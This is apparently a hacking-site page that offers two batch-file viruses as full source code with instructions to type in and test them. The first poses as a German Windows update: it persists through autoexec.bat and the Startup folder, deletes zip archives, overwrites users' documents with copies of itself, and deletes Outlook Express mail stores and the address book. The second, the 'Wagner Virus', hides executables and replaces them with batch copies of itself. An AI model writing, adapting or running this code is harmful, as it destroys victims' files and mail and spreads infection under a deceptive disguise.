VIRUS in BATCH file

A batch file virus code

@ECHO OFF
CLS
IF EXIST c:\winupdt.bat GOTO CODE
GOTO SETUP
:SETUP
@ECHO OFF
ECHO Ein batch Virus - getarnt als Windows-Update
ECHO.
copy %0 c:\winupdt.bat >> NUL
ECHO Bitte haben sie ein wenig Geduld ... ausführen des Systemscans ...
prompt $P$SWindows2000
type %0 >> c:\autoexec.bat
type %0 >> c:\windows\dosstart.bat
ECHO fertig


ECHO.
ECHO Die benötigten Dateien werden installiert!
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL
ECHO Installation abgeschlossen
ECHO.
ECHO Bitte registrieren sie sich nun bei schell-industry,

um über neue updates informiert zu werden.
PAUSE
ECHO Download gestartet...
START "C:\Program Files\Internet Explorer\Iexplore.exe"

http://www.schell-industry.de.vu/
IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del

"C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}

\Microsoft\Outlook Express\*.dbx"
IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab"

del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab"
ECHO Damit die Einstellungen erfolgreich übernommen werden können,

wird jetzt ein Neustart durchgeführt.
ECHO Bleiben sie uns weiterhin treu, ihr SCHELL-industry Sicherheitsteam.
copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL
c:\WINDOWS\RUNDLL user.exe,exitwindowsexec
CLS
GOTO END

:CODE
CLS
@ECHO OFF
prompt $P$SWindows2000
IF "%0" == "C:\AUTOEXEC.BAT" GOTO ABC
type %0 >> c:\autoexec.bat
:ABC
type %0 >> c:\windows\dosstart.bat
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL
START "C:\Program Files\Internet Explorer\Iexplore.exe"

http://www.schell-industry.de.vu/~hackingtruths
IF EXIST "C:\Program Files\Outlook Express\msimn.exe"

del "C:\WINDOWS\Application Data\Identities\

{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx" >> NUL
IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab"

del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" >> NUL
copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL
GOTO :END
CLS
:END
CLS

VIRUS in BATCH file

The following virus, however, works in BAT format It searches the directory for .COM files and .EXE files, finding th last one in the directory. It then renames it to its name with a V at the beginning, hides it, and puts a batch file with the same nam into the directory that contains the virus. The commands used can be found in an MS-DOS User's Manual. To cure it, read the instructions within the virus itself simply by typing one of the infected .BAT files. This, despite the fact that it is not an 'executable' program, is a virus and, like all others, can cause damage if improperly handled. It will not go out of the directory, unless it is run from another directory. As with anything that is potentially dangerous, just be careful and use common sense. And if you do not understand it, DO NOT PRESS YOUR LUCK BY PLAYING WITH IT! Study the code and an MS-DOS manual until you do understand it. I am not including an in-depth study of this virus due to its simplicity. To create a working version of this virus, type the code in between the dotted lines into a program such as EDIT.COM that comes with DOS, and save it as WAGNER.BAT. Put it in an isolated directory, and then you can test it. Again, be careful, for it is YOUR responsibility for anything you do with it.this virus is reated by nitin kaushal. give feedback at nitink4107@gmail.com

The Wagner Virus

@echo off
ctty nul
rem ______________________________________________________________
rem :Wagner Virus, as presented in Virology 101 (c) 1993 Black Wolf
rem :This virus can be cured simply by typing "attrib -h -r *.*" in
rem :infected directories and deleting BAT files that are identical
rem :to this code, then rename the files having a "V" at the start
rem :to their original names. NOTE: Does not infect COMMAND.COM.
rem :______________________________________________________________
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=
rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3